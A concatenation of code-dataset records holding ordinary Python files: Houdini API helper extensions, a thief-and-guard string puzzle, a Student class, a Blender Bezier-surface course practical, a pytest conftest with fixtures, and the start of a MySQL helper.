tuple(values)\n\n\n@add_to_class(hou.Parm)\ndef evalStripAsString(self):\n \"\"\"Evaluate the parameter as a Button Strip as strings.\n\n Returns a tuple of the string tokens which are enabled.\n\n :return: String token values.\n :rtype: tuple(str)\n\n \"\"\"\n strip_results = self.evalAsStrip()\n\n menu_items = self.parmTemplate().menuItems()\n\n enabled_values = []\n\n for i, value in enumerate(strip_results):\n if value:\n enabled_values.append(menu_items[i])\n\n return tuple(enabled_values)\n\n\n@add_to_class(hou.Parm, hou.ParmTuple)\ndef isMultiParm(self):\n \"\"\"Check if this parameter is a multiparm.\n\n :return: Whether or not the parameter is a multiparm.\n :rtype: bool\n\n \"\"\"\n # Get the parameter template for the parm/tuple.\n parm_template = self.parmTemplate()\n\n # Make sure the parm is a folder parm.\n if isinstance(parm_template, hou.FolderParmTemplate):\n # Get the folder type.\n folder_type = parm_template.folderType()\n\n # A tuple of folder types that are multiparms.\n multi_types = (\n hou.folderType.MultiparmBlock,\n hou.folderType.ScrollingMultiparmBlock,\n hou.folderType.TabbedMultiparmBlock\n )\n\n # If the folder type is in the list return True.\n if folder_type in multi_types:\n return True\n\n return False\n\n\n@add_to_class(hou.Parm)\ndef getMultiParmInstancesPerItem(self):\n \"\"\"Get the number of items in a multiparm instance.\n\n :return: The number of items in a multiparm instance.\n :rtype: int\n\n \"\"\"\n return self.tuple().getMultiParmInstancesPerItem()\n\n\n@add_to_class(hou.ParmTuple, name=\"getMultiParmInstancesPerItem\")\ndef getTupleMultiParmInstancesPerItem(self):\n \"\"\"Get the number of items in a multiparm instance.\n\n :return: The number of items in a multiparm instance.\n :rtype: int\n\n \"\"\"\n if not self.isMultiParm():\n raise hou.OperationFailed(\"Parameter tuple is not a multiparm.\")\n\n return _cpp_methods.getMultiParmInstancesPerItem(\n self.node(),\n self.name()\n )\n\n\n@add_to_class(hou.Parm)\ndef getMultiParmStartOffset(self):\n \"\"\"Get the start offset of items in the multiparm.\n\n :return: The start offset of the multiparm.\n :rtype: int\n\n \"\"\"\n return self.tuple().getMultiParmStartOffset()\n\n\n@add_to_class(hou.ParmTuple, name=\"getMultiParmStartOffset\")\ndef getTupleMultiParmStartOffset(self):\n \"\"\"Get the start offset of items in the multiparm.\n\n :return: The start offset of the multiparm.\n :rtype: int\n\n \"\"\"\n if not self.isMultiParm():\n raise hou.OperationFailed(\"Parameter tuple is not a multiparm.\")\n\n return _cpp_methods.getMultiParmStartOffset(self.node(), self.name())\n\n\n@add_to_class(hou.Parm)\ndef getMultiParmInstanceIndex(self):\n \"\"\"Get the multiparm instance indices for this parameter.\n\n If this parameter is part of a multiparm, then its index in the multiparm\n array will be returned as a tuple. If the multiparm is nested in other\n multiparms, then the resulting tuple will have multiple entries (with\n the outer multiparm listed first, and the inner-most multiparm last in\n the tuple.\n\n :return The instance indices for the parameter.\n :rtype: tuple(int)\n\n \"\"\"\n return self.tuple().getMultiParmInstanceIndex()\n\n\n@add_to_class(hou.ParmTuple, name=\"getMultiParmInstanceIndex\")\ndef getTupleMultiParmInstanceIndex(self):\n \"\"\"Get the multiparm instance indices for this parameter tuple.\n\n If this parameter tuple is part of a multiparm, then its index in the\n multiparm array will be returned as a tuple. If the multiparm is nested\n in other multiparms, then the resulting tuple will have multiple entries\n (with the outer multiparm listed first, and the inner-most multiparm last\n in the tuple.\n\n :return The instance indices for the parameter.\n :rtype: tuple(int)\n\n \"\"\"\n if not self.isMultiParmInstance():\n raise hou.OperationFailed(\"Parameter tuple is not in a multiparm.\")\n\n result = _cpp_methods.getMultiParmInstanceIndex(\n self.node(),\n self.name()\n )\n\n return tuple(result)\n\n\n@add_to_class(hou.Parm, hou.ParmTuple)\ndef getMultiParmInstances(self):\n \"\"\"Return all the parameters in this multiparm block.\n\n The parameters are returned as a tuple of parameters based on each\n instance.\n\n :return: All parameters in the multiparm block.\n :rtype: tuple\n\n \"\"\"\n node = self.node()\n\n if not self.isMultiParm():\n raise hou.OperationFailed(\"Not a multiparm.\")\n\n # Get the multiparm parameter names.\n result = _cpp_methods.getMultiParmInstances(node, self.name())\n\n multi_parms = []\n\n # Iterate over each multiparm instance.\n for block in result:\n parms = []\n # Build a list of parameters in the instance.\n for parm_name in block:\n if not parm_name:\n continue\n\n # Assume hou.ParmTuple by default.\n parm_tuple = node.parmTuple(parm_name)\n\n # If tuple only has one element then use that hou.Parm.\n if len(parm_tuple) == 1:\n parm_tuple = parm_tuple[0]\n\n parms.append(parm_tuple)\n\n multi_parms.append(tuple(parms))\n\n return tuple(multi_parms)\n\n\n# TODO: Function to get sibling parameters\n\n@add_to_class(hou.Parm, hou.ParmTuple)\ndef getMultiParmInstanceValues(self):\n \"\"\"Return all the parameter values in this multiparm block.\n\n The values are returned as a tuple of values based on each instance.\n\n :return: All parameter values in the multiparm block.\n :rtype: tuple\n\n \"\"\"\n if not self.isMultiParm():\n raise hou.OperationFailed(\"Not a multiparm.\")\n\n # Get the multiparm parameters.\n parms = getMultiParmInstances(self)\n\n all_values = []\n\n # Iterate over each multiparm instance.\n for block in parms:\n values = [parm.eval() for parm in block]\n all_values.append(tuple(values))\n\n return tuple(all_values)\n\n\n@add_to_class(hou.Node)\ndef disconnectAllInputs(self):\n \"\"\"Disconnect all of this node's inputs.\n\n :return:\n\n \"\"\"\n connections = self.inputConnections()\n\n for connection in reversed(connections):\n self.setInput(connection.inputIndex(), None)\n\n\n@add_to_class(hou.Node)\ndef disconnectAllOutputs(self):\n \"\"\"Disconnect all of this node's outputs.\n\n :return:\n\n \"\"\"\n connections = self.outputConnections()\n\n for connection in connections:\n connection.outputNode().setInput(connection.inputIndex(), None)\n\n\n@add_to_class(hou.Node)\ndef messageNodes(self):\n \"\"\"Get a list of this node's message nodes.\n\n :return: A tuple of message nodes.\n :rtype: tuple(hou.Node)\n\n \"\"\"\n # Get the otl definition for this node's type, if any.\n definition = self.type().definition()\n\n if definition is not None:\n # Check that there are message nodes.\n if \"MessageNodes\" in definition.sections():\n # Extract the list of them.\n contents = definition.sections()[\"MessageNodes\"].contents()\n\n # Glob for any specified nodes and return them.\n return self.glob(contents)\n\n return ()\n\n\n@add_to_class(hou.Node)\ndef editableNodes(self):\n \"\"\"Get a list of this node's editable nodes.\n\n :return: A tuple of editable nodes.\n :rtype: tuple(hou.Node)\n\n \"\"\"\n # Get the otl definition for this node's type, if any.\n definition = self.type().definition()\n\n if definition is not None:\n # Check that there are editable nodes.\n if \"EditableNodes\" in definition.sections():\n # Extract the list of them.\n contents = definition.sections()[\"EditableNodes\"].contents()\n\n # Glob for any specified nodes and return them.\n return self.glob(contents)\n\n return ()\n\n\n@add_to_class(hou.Node)\ndef diveTarget(self):\n \"\"\"Get this node's dive target node.\n\n :return: The node's dive target.\n :rtype: hou.Node|None\n\n \"\"\"\n # Get the otl definition for this node's type, if any.\n definition = self.type().definition()\n\n if definition is not None:\n # Check that there is a dive target.\n if \"DiveTarget\" in definition.sections():\n # Get it's path.\n target = definition.sections()[\"DiveTarget\"].contents()\n\n # Return the node.\n return self.node(target)\n\n return None\n\n\n@add_to_class(hou.Node)\ndef representativeNode(self):\n \"\"\"Get the representative node of this node, if any.\n\n :return: The node's representative node.\n :rtype: hou.Node|None\n\n \"\"\"\n # Get the otl definition for this node's type, if any.\n definition = self.type().definition()\n\n if definition is not None:\n # Get the path to the representative node, if any.\n path = definition.representativeNodePath()\n\n if path:\n # Return the node.\n return self.node(path)\n\n return None\n\n\n@add_to_class(hou.Node)\ndef isContainedBy(self, node):\n \"\"\"Test if this node is a contained within the node.\n\n :param node: A node which may contain this node\n :type node: hou.Node\n :return: Whether or not this node is a child of the passed node.\n :rtype: bool\n\n \"\"\"\n # Get this node's parent.\n parent = self.parent()\n\n # Keep looking until we have no more parents.\n while parent is not None:\n # If the parent is the target node, return True.\n if parent == node:\n return True\n\n # Get the parent's parent and try again.\n parent = parent.parent()\n\n # Didn't find the node, so return False.\n return False\n\n\n@add_to_class(hou.Node)\ndef isCompiled(self):\n \"\"\"Check if this node is compiled.\n\n This check can be used to determine if a node is compiled for Orbolt,\n or has somehow become compiled on its own.\n\n :return: Whether or not the node is compiled.\n :rtype: bool\n\n \"\"\"\n return _cpp_methods.isCompiled(self)\n\n\n@add_to_class(hou.Node)\ndef authorName(self):\n \"\"\"Get the name of the node creator.\n\n :return: The author name.\n :rtype: str\n\n \"\"\"\n author = _cpp_methods.getAuthor(self)\n\n # Remove any machine name from the user name.\n return author.split('@')[0]\n\n\n@add_to_class(hou.NodeType)\ndef setIcon(self, icon_name):\n \"\"\"Set the node type's icon name.\n\n :param icon_name: The icon to set.\n :type icon_name: str\n :return:\n\n \"\"\"\n return _cpp_methods.setIcon(self, icon_name)\n\n\n@add_to_class(hou.NodeType)\ndef setDefaultIcon(self):\n \"\"\"Set this node type's icon name to its default value.\n\n :return:\n\n \"\"\"\n return _cpp_methods.setDefaultIcon(self)\n\n\n@add_to_class(hou.NodeType)\ndef isPython(self):\n \"\"\"Check if this node type represents a Python operator.\n\n :return: Whether or not the operator is a Python operator.\n :rtype: bool\n\n \"\"\"\n return _cpp_methods.isPython(self)\n\n\n@add_to_class(hou.NodeType)\ndef isSubnetType(self):\n \"\"\"Check if this node type is the primary subnet operator for the table.\n\n This is the operator type which is used as a default container for nodes.\n\n :return: Whether or not the operator is a Subnet operator.\n :rtype: bool\n\n \"\"\"\n return _cpp_methods.isSubnetType(self)\n\n\n@add_to_class(hou.Vector3)\ndef componentAlong(self, vector):\n \"\"\"Calculate the component of this vector along another vector.\n\n :param vector: The vector to calculate against.\n :type vector: hou.Vector3\n :return: The component of this vector along the other vector.\n :rtype: float\n\n \"\"\"\n # The component of vector A along B is: A dot (unit vector // to B).\n return self.dot(vector.normalized())\n\n\n@add_to_class(hou.Vector3)\ndef project(self, vector):\n \"\"\"Calculate the vector projection of this vector onto another vector.\n\n This is an orthogonal projection of this vector onto a straight line\n parallel to the supplied vector.\n\n :param vector: The vector to project onto.\n :type vector: hou.Vector3\n :return: The vector projected along the other vector.\n :rtype: hou.Vector3\n\n \"\"\"\n # The vector cannot be the zero vector.\n if vector == hou.Vector3():\n raise hou.OperationFailed(\"Supplied vector must be non-zero.\")\n\n return vector.normalized() * self.componentAlong(vector)\n\n\n@add_to_class(hou.Vector2, hou.Vector3, hou.Vector4)\ndef isNan(self):\n \"\"\"Check if this vector contains NaNs.\n\n :return: Whether or not there are any NaNs in the vector.\n :rtype: bool\n\n \"\"\"\n # Iterate over each component.\n for i in range(len(self)):\n # If this component is a NaN, return True.\n if math.isnan(self[i]):\n return True\n\n # Didn't find any NaNs, so return False.\n return False\n\n\n@add_to_class(hou.Vector3)\ndef getDual(self):\n \"\"\"Returns the dual of this vector.\n\n The dual is a matrix which acts like the cross product when multiplied by\n other vectors.\n\n :return: The dual of the vector.\n :rtype: hou.Matrix3\n\n \"\"\"\n # The matrix that will be the dual.\n mat = hou.Matrix3()\n\n # Compute the dual.\n _cpp_methods.getDual(self, mat)\n\n return mat\n\n\n@add_to_class(hou.Matrix3, hou.Matrix4)\ndef isIdentity(self):\n \"\"\"Check if this matrix is the identity matrix.\n\n :return: Whether or not the matrix is the identity matrix.\n :rtype: bool\n\n \"\"\"\n # We are a 3x3 matrix.\n if isinstance(self, hou.Matrix3):\n # Construct a new 3x3 matrix.\n mat = hou.Matrix3()\n\n # Set it to be the identity.\n mat.setToIdentity()\n\n # Compare the two.\n return self == mat\n\n # Compare against the identity transform from hmath.\n return self == hou.hmath.identityTransform()\n\n\n@add_to_class(hou.Matrix4)\ndef setTranslates(self, translates):\n \"\"\"Set the translation values of this matrix.\n\n :param translates: The translation values to set.\n :type translates: tuple(float)\n :return:\n\n \"\"\"\n # The translations are stored in the first 3 columns of the last row of the\n # matrix. To set the values we just need to set the corresponding columns\n # to the matching components in the vector.\n for i in range(3):\n self.setAt(3, i, translates[i])\n\n\n@add_to_module(hou.hmath)\ndef buildLookat(from_vec, to_vec, up):\n \"\"\"Compute a lookat matrix.\n\n This function will compute a rotation matrix which will provide the rotates\n needed for \"from_vec\" to look at \"to_vec\".\n\n The lookat matrix will have the -Z axis point at the \"to_vec\" point. The Y\n axis will be pointing \"up\".\n\n :param from_vec: The base vector.\n :type from_vec: hou.Vector3\n :param to_vec: The target vector.\n :type to_vec: hou.Vector3\n :param up: The up vector.\n :type up: hou.Vector3\n :return: The lookat matrix.\n :rtype: hou.Matrix3\n\n \"\"\"\n # Create the new matrix to return.\n mat = hou.Matrix3()\n\n # Calculate the lookat and stick it in the matrix.\n _cpp_methods.buildLookat(mat, from_vec, to_vec, up)\n\n return mat\n\n\n# TODO: create instance from point?\n@add_to_module(hou.hmath)\ndef buildInstance(position, direction=hou.Vector3(0, 0, 1), pscale=1,\n scale=hou.Vector3(1, 1, 1), up=hou.Vector3(0, 1, 0),\n rot=hou.Quaternion(0, 0, 0, 1), trans=hou.Vector3(0, 0, 0),\n pivot=hou.Vector3(0, 0, 0),\n orient=None\n ):\n \"\"\"Compute a transform to orient to a given direction.\n\n The transform can be computed for an optional position and scale.\n\n The up vector is optional and will orient the matrix to this up vector. If\n no up vector is given, the Z axis will be oriented to point in the supplied\n direction.\n\n If a rotation quaternion is specified, the orientation will be additionally\n transformed by the rotation.\n\n If a translation is specified, the entire frame of reference will be moved\n by this translation (unaffected by the scale or rotation).\n\n If a pivot is specified, use it as the local transformation of the\n instance.\n\n If an orientation quaternion is specified, the orientation (using the\n direction and up vector will not be performed and this orientation will\n instead be used to define an original orientation.\n\n \"\"\"\n zero_vec = hou.Vector3()\n\n # Scale the non-uniform scale by the uniform scale.\n scale *= pscale\n\n # Construct the scale matrix.\n scale_matrix = hou.hmath.buildScale(scale)\n\n # Build a rotation matrix from the rotation quaternion.\n rot_matrix = hou.Matrix4(rot.extractRotationMatrix3())\n\n pivot_matrix = hou.hmath.buildTranslate(pivot)\n\n # Build a translation matrix from the position and the translation vector.\n trans_matrix = hou.hmath.buildTranslate(position + trans)\n\n # If an orientation quaternion is passed, construct a matrix from it.\n if orient is not None:\n alignment_matrix = hou.Matrix4(orient.extractRotationMatrix3())\n\n else:\n # If the up vector is not the zero vector, build a lookat matrix\n # between the direction and zero vectors using the up vector.\n if up != zero_vec:\n alignment_matrix = hou.Matrix4(\n buildLookat(direction, zero_vec, up)\n )\n\n # If the up vector is the zero vector, build a matrix from the\n # dihedral.\n else:\n alignment_matrix = zero_vec.matrixToRotateTo(direction)\n\n # Return the instance transform matrix.\n return pivot_matrix * scale_matrix * alignment_matrix * rot_matrix * trans_matrix\n\n\n@add_to_class(hou.Node)\ndef isDigitalAsset(self):\n \"\"\"Determine if this node is a digital asset.\n\n A node is a digital asset if its node type has a hou.HDADefinition.\n\n :return: Whether or not this node is a digital asset.\n :rtype: bool\n\n \"\"\"\n return self.type().definition() is not None\n\n\n@add_to_module(hou.hda)\ndef metaSource(file_path):\n \"\"\"Get the meta install location for the file.\n\n This function determines where the specified .otl file is installed to in\n the current session. Examples include \"Scanned OTL Directories\", \"Current\n Hip File\", \"Fallback Libraries\" or specific OPlibraries files.\n\n :param file_path: The path to get the install location for.\n :type file_path: str\n :return: The meta install location, if any.\n :rtype: str|None\n\n \"\"\"\n if file_path not in hou.hda.loadedFiles():\n return None\n\n return _cpp_methods.getMetaSource(file_path)\n\n\n@add_to_class(hou.HDADefinition, name=\"metaSource\")\ndef getMetaSource(self):\n \"\"\"Get the meta install location of this asset definition.\n\n This function determines where the contained .otl file is installed to in\n the current session. Examples include \"Scanned OTL Directories\", \"Current\n Hip File\", \"Fallback Libraries\" or specific OPlibraries files.\n\n :return: The meta install location, if any.\n :rtype: str|None\n\n \"\"\"\n return hou.hda.metaSource(self.libraryFilePath())\n\n\n@add_to_module(hou.hda)\ndef removeMetaSource(meta_source):\n \"\"\"Attempt to remove a meta source.\n\n Removing a meta source will uninstall the libraries it was responsible for.\n\n :param meta_source: The meta source name.\n :type meta_source: str\n :return: Whether or not the source was removed.\n :rtype: bool\n\n \"\"\"\n return _cpp_methods.removeMetaSource(meta_source)\n\n\n@add_to_module(hou.hda)\ndef librariesInMetaSource(meta_source):\n \"\"\"Get a list of library paths in a meta source.\n\n :param meta_source: The meta source name.\n :type meta_source: str\n :return: A list of paths in the source.\n :rtype: tuple(str)\n\n \"\"\"\n # Get the any libraries in the meta source.\n result = _cpp_methods.getLibrariesInMetaSource(meta_source)\n\n # Return a tuple of the valid values.\n return _clean_string_values(result)\n\n\n@add_to_class(hou.HDADefinition)\ndef isDummy(self):\n \"\"\"Check if this definition is a dummy definition.\n\n A dummy, or empty definition is created by Houdini when it cannot find\n an operator definition that it needs in the current session.\n\n :return: Whether or not the asset definition is a dummy definition.\n :rtype: bool\n\n \"\"\"\n return _cpp_methods.isDummyDefinition(\n self.libraryFilePath(),\n self.nodeTypeCategory().name(),\n self.nodeTypeName()\n )\n","sub_path":"python/ht/inline/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":91568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"239873406","text":"\"\"\"\r\n\n\nYou're head of security at a casino that has money being stolen from it. You\nget the data in the form of strings and you have to set off an alarm if a\nthief is detected.\n\n * If there is no guard between thief and money, return `\"ALARM!\"`\n * If the money is protected, return `\"Safe\"`\n\n### String Components\n\n * x - Empty Space\n * T - Thief\n * G - Guard\n * $ - Money\n\n### Examples\n\n security(\"xxxxTTxGxx$xxTxxx\") ➞ \"ALARM!\"\n \n security(\"xxTxxG$xxxx$xxxx\") ➞ \"Safe\"\n \n security(\"TTxxxx$xxGxx$Gxxx\") ➞ \"ALARM!\"\n\n### Notes\n\nMoney at the extremes are safe.\n\n\"\"\"\r\n\nimport re\ndef security(txt):\n ans = re.findall(r'[G|T]*x*\\$x*[G|T]*',txt)\n if 'T' in ''.join(ans):\n return 'ALARM!'\n return 'Safe'\n\n","sub_path":"2jcxK7gpn6Z474kjz_14.py","file_name":"2jcxK7gpn6Z474kjz_14.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"505386310","text":"#!/usr/bin/python3\n\"\"\" Module that defines the class Student\n\"\"\"\n\n\nclass Student:\n \"\"\" Class to create student instances \"\"\"\n\n def __init__(self, first_name, last_name, age):\n \"\"\" Special method to initialize \"\"\"\n self.first_name = first_name\n self.last_name = last_name\n self.age = age\n\n def to_json(self, attrs=None):\n \"\"\" Method that returns directory description \"\"\"\n obj = self.__dict__.copy()\n if type(attrs) is list:\n\n for item in attrs:\n if type(item) is not str:\n return obj\n\n d_list = {}\n\n for iatr in range(len(attrs)):\n for satr in obj:\n if attrs[iatr] == satr:\n d_list[satr] = obj[satr]\n return d_list\n\n return obj\n","sub_path":"0x0B-python-input_output/12-student.py","file_name":"12-student.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"100793422","text":"# File created on: 2018-05-08 15:24:47.264919\n#\n# IMPORTANT:\n# ----------\n# - Before making a new Practical always make sure you have the latest version of the addon!\n# - Delete the old versions of the files in your user folder for practicals you want to update (make a copy of your work!).\n# - For the assignment description and to download the addon, see the course website at: http://www.cs.uu.nl/docs/vakken/ddm/\n# - Mail any bugs and inconsistencies you see to: uuinfoddm@gmail.com\n# - Do not modify any of the signatures provided.\n# - You may add as many functions to the assignment as you see fit but try to avoid global variables.\n\nimport ddm\nimport bpy\nimport numpy\nimport math\nimport mathutils\n\n# To view the printed output toggle the system console in \"Window -> Toggle System Console\"\n\n# A(rray) = z-values for xy-pairs; format: [(x1y1, x1y2, x1y3, ...), (x2y1, x2y2, x2y3, ...), ...]\n\ndef mesh_from_array(A, n):\n def get_point(ax, ay):\n return A[ax + ay * n]\n\n quads = []\n for x in range(n - 1):\n for y in range(n - 1):\n point1 = get_point(x, y)\n point2 = get_point(x + 1, y)\n point3 = get_point(x + 1, y + 1)\n point4 = get_point(x, y + 1)\n quads.append( (point4, point3, point2, point1) )\n \n \n return quads\n \n \ndef De_Casteljau(A, n, s):\n def get_point(ax, ay):\n return A[ax + ay * n]\n\n new_mesh = [0 for i in range(n * ((n-1) * (s + 1) + 1))]\n #print(len(new_mesh))\n for x in range(n):\n points = []\n for p in range(n):\n points.append(get_point(x, p))\n #print(\"Points for iteration \" + str(x))\n #print(points)\n new_mesh[x] = points[0]\n for i in range((n - 1) * (s + 1) - 1):\n u = (i + 1) / ((n-1) * (s+1) - 1)\n u_points = list(points)\n #print(u_points)\n while len(u_points) > 1:\n for j in range(len(u_points) - 1):\n u_points[j] = (u_points[j][0] + u * (u_points[j+1][0] - u_points[j][0]), u_points[j][1] + u * (u_points[j+1][1] - u_points[j][1]), u_points[j][2] + u * (u_points[j+1][2] - u_points[j][2]))\n u_points.pop()\n #print(\"Replacing point at index \" + str((i + 1) * n + x))\n #print(\"Replacing with \" + str(u_points[0]))\n new_mesh[(i + 1) * n + x] = u_points[0]\n #print(\"Replacing point at index \" + str((n-1) * (s+1) * n + x))\n #print(\"Replacing with \" + str(u_points[len(u_points) - 1]))\n new_mesh[(n-1) * (s+1) * n + x] = points.pop()\n \n #print(new_mesh)\n new_range = int(len(new_mesh) / n)\n new_mesh2 = []\n\n for y in range(new_range):\n points = new_mesh[n * y:n * y + n].copy()\n new_mesh2.append(points[0])\n for i in range((n - 1) * (s + 1) - 1):\n u = (i + 1) / ((n-1) * (s+1) - 1)\n u_points = points.copy()\n while len(u_points) > 1:\n for j in range(len(u_points) - 1):\n u_points[j] = (u_points[j][0] + u * (u_points[j+1][0] - u_points[j][0]), u_points[j][1] + u * (u_points[j+1][1] - u_points[j][1]), u_points[j][2] + u * (u_points[j+1][2] - u_points[j][2]))\n u_points.pop()\n new_mesh2.append(u_points[0])\n new_mesh2.append(points.pop())\n\n return new_mesh2\n \n\ndef control_mesh(n, length):\n array = []\n unit = length / (n-1)\n maxPoint = (length, length)\n for x in range(n):\n for y in range(n):\n z = 0\n if x != 0 and x != n - 1 and y != 0 and y != n - 1:\n x2 = x - n / 2\n y2 = y - n / 2\n z = (x2 * x2 * y2 * y2) / (n * n) + 0.2\n point = (x * unit, y * unit, z * length * 0.1)\n array.append(point)\n return array\n \ndef line_intersect(A, n, p1, p2, e):\n p1x = p1[0] + 10 * (p1[0] - p2[0])\n p1y = p1[1] + 10 * (p1[1] - p2[1])\n p1z = p1[2] + 10 * (p1[2] - p2[2])\n p2x = p2[0] + 10 * (p2[0] - p1[0])\n p2y = p2[1] + 10 * (p2[1] - p1[1])\n p2z = p2[2] + 10 * (p2[2] - p1[2])\n p1 = (p1x, p1y, p1z)\n p2 = (p2x, p2y, p2z)\n def distanceSQR(po1, po2):\n (x1, y1, z1) = po1\n (x2, y2, z2) = po2\n return (x1 * x2 + y1 * y2 + z1 * z2)\n def get_point(ax, ay):\n return A[ax + ay * n]\n return (a1 * b1 + a3 * b3)\n def intersect(pA, pn, pe, minX, maxX, minY, maxY):\n for x in range(minX, maxX):\n for y in range(minY, maxY):\n (a, b) = (get_point(x, y), get_point(x + 1, y))\n a2 = (a[1], a[2])\n b2 = (b[1], b[2])\n p12 = (p1[1], p1[2])\n p22 = (p2[1], p2[2])\n intPoint = mathutils.geometry.intersect_line_line_2d(a2, b2, p12, p22)\n # check intersection and bounding box\n if intPoint != None:\n # intersection at this y-curve, so check corresponding x-curve\n for xx in range(minX, maxX):\n (a, b) = (get_point(xx, y), get_point(xx, y + 1))\n a2 = (a[0], a[2])\n b2 = (b[0], b[2])\n p12 = (p1[0], p1[2])\n p22 = (p2[0], p2[2])\n intPoint2 = mathutils.geometry.intersect_line_line_2d(a2, b2, p12, p22)\n if intPoint2 != None:\n # intersection\n iPoint = (intPoint2[0], intPoint[0], intPoint[1])\n print (\"intersect at ca.\", iPoint, intPoint2[1])\n return iPoint\n return None\n \n length = get_point(n - 1, n - 1)[0]\n minX = 0\n maxX = n - 1\n minY = 0\n maxY = n - 1\n for i in range(10):\n iPoint = intersect(A, n, e, minX, maxX, minY, maxY)\n print(\"e\", length / n)\n if iPoint != None:\n # currE = min(distanceSQR(iPoint, \n if length / n * 0.5 < e:\n # precise enough\n return True\n # might intersect, so subdiv and try again\n A = De_Casteljau(A, n, 1)\n old_n = n\n n = subdivisions(n, 1)\n \n minX = math.floor(iPoint[0] / old_n * n) - 3\n maxX = math.floor(iPoint[0] / old_n * n) + 4\n minY = math.floor(iPoint[1] / old_n * n) - 3\n maxY = math.floor(iPoint[1] / old_n * n) + 4\n else:\n #guaranteed no intersection, so return False\n return False\n # give up, and return false\n return False\n \ndef subdivisions(n, s):\n return (n - 1) * (s + 1) + 1\n \ndef DDM_Practical3(context):\n print (\"DDM Practical 3\")\n n = 10\n length = 9\n s = 1\n \n A = control_mesh(n, length)\n\n #show_mesh(mesh_from_array(A, n))\n B = De_Casteljau(A, n, s)\n \n n_B = subdivisions(n, s)\n #print(\"n_B size: \" + str(n_B))\n \n show_mesh(mesh_from_array(B, n_B))\n \n p1 = (1, 2, 2)\n p2 = (1, 2, 0)\n \n print(\"lineIntersect:\", line_intersect(B, n_B, p1, p2, 0.1))\n \n# Builds a mesh using a list of triangles\n# This function is the same as the previous practical\ndef show_mesh(triangles):\n \n me = bpy.data.meshes.new(\"Mesh\")\n ob = bpy.data.objects.new(\"mesh\", me)\n bpy.context.scene.objects.link(ob)\n \n edges = []\n faces = []\n verts = []\n \n for quad in triangles:\n verts_indices = [0, 0, 0, 0]\n for j in range(4):\n if quad[j] not in verts:\n verts_indices[j] = len(verts)\n verts.append(quad[j])\n else:\n verts_indices[j] = verts.index(quad[j])\n faces.append( tuple(verts_indices) )\n \n #for triangle in triangles:\n # for j in range(0, 3):\n # verts.append(triangle[j])\n # faces.append( (i, i+1, i+2) ) \n # i += 3\n \n # Create mesh from given verts, edges, faces. Either edges or\n # faces should be [], or you ask for problems\n me.from_pydata(verts, edges, faces)\n return","sub_path":"DDM_Practical3.py","file_name":"DDM_Practical3.py","file_ext":"py","file_size_in_byte":8050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"492335181","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2021/1/31 17:07\n# @Author : Warren.wang\n# @File : conftest.py\n# @Software: PyCharm\n\n'''\n要点1:文件名时固定的,不能改\n要点2:执行测试用例之前,先去执行conftest文件\n'''\n\nimport datetime\nfrom typing import List\nimport pytest\nimport yaml\n\n@pytest.fixture(scope='session', autouse=False)\ndef conn_db():\n print(\"完成 数据库连接\")\n yield \"database\"\n print(\"关闭 数据库连接\")\n\n@pytest.fixture(scope=\"session\", params=['tom', 'jerry'])\ndef login(request):\n # setup 操作\n print(\"登录操作》》》\")\n username = request.param\n # yield 相当于return 操作\n yield username\n # teardown操作\n print(\"登出操作《《《\")\n\n#命令行\ndef pytest_addoption(parser):\n mygroup = parser.getgroup(\"hogwarts-Warron\") # 下面所有的 option都展示在这个group下。\n mygroup.addoption(\"--env\", # 注册一个命令行选项\n default='test', # 默认值\n dest='env', # 存储的变量\n help='set your run env' # 参数说明\n )\n\n@pytest.fixture(scope='session')\ndef cmdoption(request):\n myenv = request.config.getoption(\"--env\", default='test')\n\n if myenv == 'test':\n datapath = \"datas/test/data.yml\"\n elif myenv == 'dev':\n datapath = \"datas/dev/data.yml\"\n\n with open(datapath) as f:\n datas = yaml.safe_load(f)\n\n print(datas)\n\n return myenv, datas\n\n\n#内置插件,只是重写方法 (hook函数)\n#解决打印用例编码问题\n# def pytest_collection_modifyitems(\n# session: \"Session\", config: \"Config\", items: List[\"Item\"]\n# ) -> None:\n# print(items)\n# for item in items:\n# '''\n# u = '中文' #指定字符串类型对象u\n# str = u.encode('gb2312') #以gb2312编码对u进行编码,获得bytes类型对象str\n# u1 = str.decode('gb2312')#以gb2312编码对字符串str进行解码,获得字符串类型对象u1\n# u2 = str.decode('utf-8')#如果以utf-8的编码对str进行解码得到的结果,将无法还原原来的字符串内容\n# '''\n# item.name = item.name.encode(\"utf-8\").decode(\"unicode_escape\")\n# item._nodeid = item.nodeid.encode(\"utf-8\").decode(\"unicode_escape\")\n#\n# if \"add\" in item._nodeid:\n# item.add_marker(pytest.mark.add)\n\n # items.reverse()\n\ndef get_datas(name, type='int'):\n with open(\"./datas/calcNew.yml\", encoding='utf-8') as f:\n all_datas = yaml.safe_load(f)\n datas = all_datas[name][type]['datas']\n ids = all_datas[name][type]['ids']\n return (datas, ids)\n\n\n#使用fixture进行参数化\n@pytest.fixture(params=get_datas('add', 'int')[0], ids=get_datas('add', 'int')[1])\ndef get_datas_with_fixture(request):\n return request.param\n\n@pytest.fixture(params=get_datas('add', 'int')[0], ids=get_datas('add', 'int')[1])\ndef get_add_int_datas_with_fixture(request):\n return request.param\n\n\n@pytest.fixture(params=get_datas('add', 'float')[0], ids=get_datas('add', 'float')[1])\ndef get_add_float_datas_with_fixture(request):\n return request.param\n\n\n@pytest.fixture(params=get_datas('div', 'int_normal')[0], ids=get_datas('div', 'int_normal')[1])\ndef get_div_int_normal_datas_with_fixture(request):\n return request.param\n\n\n@pytest.fixture(params=get_datas('div', 'int_error')[0], ids=get_datas('div', 'int_error')[1])\ndef get_div_int_error_datas_with_fixture(request):\n return request.param\n\n\n","sub_path":"testing/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"314143320","text":"import mysql.connector\nfrom mysql.connector import Error\nimport pandas as pd\nimport Config\n\ndef execute_list_query(connection, query, values):\n cursor = connection.cursor()\n try:\n cursor.executemany(query, values)\n connection.commit()\n print('success!!')\n except Error as err:\n 